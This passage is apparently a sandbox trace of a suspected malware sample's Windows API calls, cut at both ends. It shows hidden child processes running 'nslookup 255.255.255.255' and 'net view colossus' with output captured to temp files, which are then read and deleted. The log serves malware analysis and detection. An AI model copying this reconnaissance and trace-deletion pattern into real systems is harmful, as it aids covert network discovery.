dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.111] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.111] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.112] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.112] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.112] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.113] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.113] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.113] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x255a28) returned 1 [0058.114] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0058.114] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0058.114] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="G3J", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\G3JD237.tmp" (normalized: "c:\\windows\\temp\\g3jd237.tmp")) returned 0xd237 [0058.114] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3eb70) returned 1 [0058.114] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c34900 [0058.114] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\G3JD237.tmp", lpszShortPath=0x1c34900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\G3JD237.tmp") returned 0x1b [0058.115] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0058.115] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0058.115] CreateFileW (lpFileName="C:\\Windows\\TEMP\\JsD236.tmp" (normalized: "c:\\windows\\temp\\jsd236.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140 [0058.115] CreateFileW (lpFileName="C:\\Windows\\TEMP\\G3JD237.tmp" (normalized: "c:\\windows\\temp\\g3jd237.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0058.115] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x140, hStdError=0x13c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 255.255.255.255", lpProcessInformation=0x18f9b8*(hProcess=0x138, hThread=0x144, dwProcessId=0xafc, dwThreadId=0xb0c)) returned 1 [0058.121] NtClose (Handle=0x144) returned 0x0 [0058.121] WaitForSingleObject (hHandle=0x138, dwMilliseconds=0xea60) returned 0x0 [0059.720] NtClose (Handle=0x140) returned 0x0 [0059.720] NtClose (Handle=0x13c) returned 0x0 [0059.721] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0059.721] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\JsD236.tmp" (normalized: "c:\\windows\\temp\\jsd236.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c942750, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6c942750, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6d8954f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x2c)) returned 1 [0059.722] CreateFileW (lpFileName="C:\\Windows\\TEMP\\JsD236.tmp" (normalized: "c:\\windows\\temp\\jsd236.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0059.722] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0059.722] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x2c [0059.722] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0059.722] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0059.722] ReadFile (in: hFile=0x13c, lpBuffer=0x1c39de0, nNumberOfBytesToRead=0x2c, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x1c39de0*, lpNumberOfBytesRead=0x18f974*=0x2c, lpOverlapped=0x0) returned 1 [0059.722] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39be8 [0059.722] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0059.722] NtClose (Handle=0x13c) returned 0x0 [0059.722] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\JsD236.tmp" (normalized: "c:\\windows\\temp\\jsd236.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c942750, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6c942750, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6d8954f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x2c)) returned 1 [0059.722] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\JsD236.tmp", dwFileAttributes=0x80) returned 1 [0059.722] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\JsD236.tmp" (normalized: "c:\\windows\\temp\\jsd236.tmp")) returned 1 [0059.723] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\G3JD237.tmp" (normalized: "c:\\windows\\temp\\g3jd237.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c942750, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6c942750, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6d8954f0, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x39)) returned 1 [0059.723] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\G3JD237.tmp", dwFileAttributes=0x80) returned 1 [0059.724] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\G3JD237.tmp" (normalized: "c:\\windows\\temp\\g3jd237.tmp")) returned 1 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39be8) returned 1 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0059.725] NtClose (Handle=0x138) returned 0x0 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c34900) returned 1 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c344f8) returned 1 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39be8 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39be8) returned 1 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d648 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d258 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39be8 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d268 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c397b0 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d278 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39a38 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d478 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39de0 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d678 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d388 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b10 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d398 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3a8 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d488 [0059.725] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0059.725] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39be8) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d258) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c397b0) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d268) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39a38) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d278) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39de0) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d478) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d648) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c30) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3b8) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39c78) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3c8) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39d98) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3d8) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ac8) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d378) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d660) returned 1 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x10) returned 0x1d3d660 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d378 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ac8 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3d8 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39d98 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3c8 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c78 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x8) returned 0x1d3d3b8 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39c30 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b10) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d388) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39b58) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d398) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d3a8) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d488) returned 1 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3d678) returned 1 [0059.726] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0059.726] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0059.727] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0059.727] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0059.727] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c399a8) returned 1 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c399a8 [0059.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c399a8, cbMultiByte=8, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0059.727] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c399a8, cbMultiByte=8, lpWideCharStr=0x1d3ebf8, cchWideChar=8 | out: lpWideCharStr="colossus") returned 8 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3eb70 [0059.727] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ebf8) returned 1 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ebf8 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ec80 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0059.727] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0059.727] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0059.727] CryptAcquireContextW (in: phProv=0x18f8cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8cc*=0x255a28) returned 1 [0059.728] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8e0 | out: pbBuffer=0x18f8e0) returned 1 [0059.728] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.728] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed90 [0059.728] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0059.729] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.729] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.729] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0059.730] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.730] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.730] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="F", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\FD88F.tmp" (normalized: "c:\\windows\\temp\\fd88f.tmp")) returned 0xd88f [0059.730] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed90) returned 1 [0059.730] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c344f8 [0059.731] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\FD88F.tmp", lpszShortPath=0x1c344f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\FD88F.tmp") returned 0x19 [0059.731] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0059.731] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0059.731] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0059.731] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c340f0 [0059.731] CryptAcquireContextW (in: phProv=0x18f8cc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8cc*=0x255a28) returned 1 [0059.732] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8e0 | out: pbBuffer=0x18f8e0) returned 1 [0059.732] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.732] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed90 [0059.732] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0059.732] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.732] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.732] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0059.733] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.733] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.733] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0059.734] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.734] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.734] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0059.735] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.735] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.735] CryptAcquireContextW (in: phProv=0x18f8c8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8c8*=0x255a28) returned 1 [0059.736] CryptGenRandom (in: hProv=0x255a28, dwLen=0x4, pbBuffer=0x18f8dc | out: pbBuffer=0x18f8dc) returned 1 [0059.736] CryptReleaseContext (hProv=0x255a28, dwFlags=0x0) returned 1 [0059.736] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="lG", uUnique=0x0, lpTempFileName=0x1c340f0 | out: lpTempFileName="C:\\Windows\\TEMP\\lGD890.tmp" (normalized: "c:\\windows\\temp\\lgd890.tmp")) returned 0xd890 [0059.736] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed90) returned 1 [0059.736] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x400) returned 0x1c34900 [0059.736] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\lGD890.tmp", lpszShortPath=0x1c34900, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\lGD890.tmp") returned 0x1a [0059.737] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c340f0) returned 1 [0059.737] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1d3ed08) returned 1 [0059.737] CreateFileW (lpFileName="C:\\Windows\\TEMP\\FD88F.tmp" (normalized: "c:\\windows\\temp\\fd88f.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f97c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0059.737] CreateFileW (lpFileName="C:\\Windows\\TEMP\\lGD890.tmp" (normalized: "c:\\windows\\temp\\lgd890.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f97c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0059.737] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\net.exe", lpCommandLine="C:\\Windows\\system32\\\\net.exe view colossus", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9bc*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x138, hStdError=0x13c), lpProcessInformation=0x18f988 | out: lpCommandLine="C:\\Windows\\system32\\\\net.exe view colossus", lpProcessInformation=0x18f988*(hProcess=0x144, hThread=0x140, dwProcessId=0xbac, dwThreadId=0xbbc)) returned 1 [0059.869] NtClose (Handle=0x140) returned 0x0 [0059.869] WaitForSingleObject (hHandle=0x144, dwMilliseconds=0xea60) returned 0x0 [0065.617] NtClose (Handle=0x138) returned 0x0 [0065.617] NtClose (Handle=0x13c) returned 0x0 [0065.620] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x80) returned 0x1d3ed08 [0065.620] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\FD88F.tmp" (normalized: "c:\\windows\\temp\\fd88f.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f8d4 | out: lpFileInformation=0x18f8d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d8bb650, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6d8bb650, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6d8bb650, ftLastWriteTime.dwHighDateTime=0x1d5d030, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.620] CreateFileW (lpFileName="C:\\Windows\\TEMP\\FD88F.tmp" (normalized: "c:\\windows\\temp\\fd88f.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0065.620] SetFileTime (hFile=0x13c, lpCreationTime=0x0, lpLastAccessTime=0x18f918, lpLastWriteTime=0x18f918) returned 0 [0065.620] GetFileSize (in: hFile=0x13c, lpFileSizeHigh=0x18f904 | out: lpFileSizeHigh=0x18f904*=0x0) returned 0x0 [0065.620] SetFilePointer (in: hFile=0x13c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f910*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f910*=0) returned 0x0 [0065.620] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39ba0 [0065.620] ReadFile (in: hFile=0x13c, lpBuffer=0x1c39ba0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x18f944, lpOverlapped=0x0 | out: lpBuffer=0x1c39ba0*, lpNumberOfBytesRead=0x18f944*=0x0, lpOverlapped=0x0) returned 1 [0065.620] RtlAllocateHeap (HeapHandle=0x1d30000, Flags=0x8, Size=0x40) returned 0x1c39b58 [0065.620] RtlFreeHeap (HeapHandle=0x1d30000, Flags=0x0, BaseAddress=0x1c39ba0) returned 1 [0065.621] NtClose (Handle=0x13c) returned 0x0 [0065.621] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\FD88F.tmp" (normalized: "c:\\windows\\temp\\fd88f.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f914 | out: lpFileInformation=0x18f914*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d8bb650, ftCreationTime.dwHighDateTime=0x1d5d030, ftLastAccessTime.dwLowDateTime=0x6d8bb650, ftLastAccessTime.dwHighDateTime=0x1d5d030, ftLastWriteTime.dwLowDateTime=0x6d8bb650, ftLastWriteTime.dwHighDateTime=0x1d5d030, 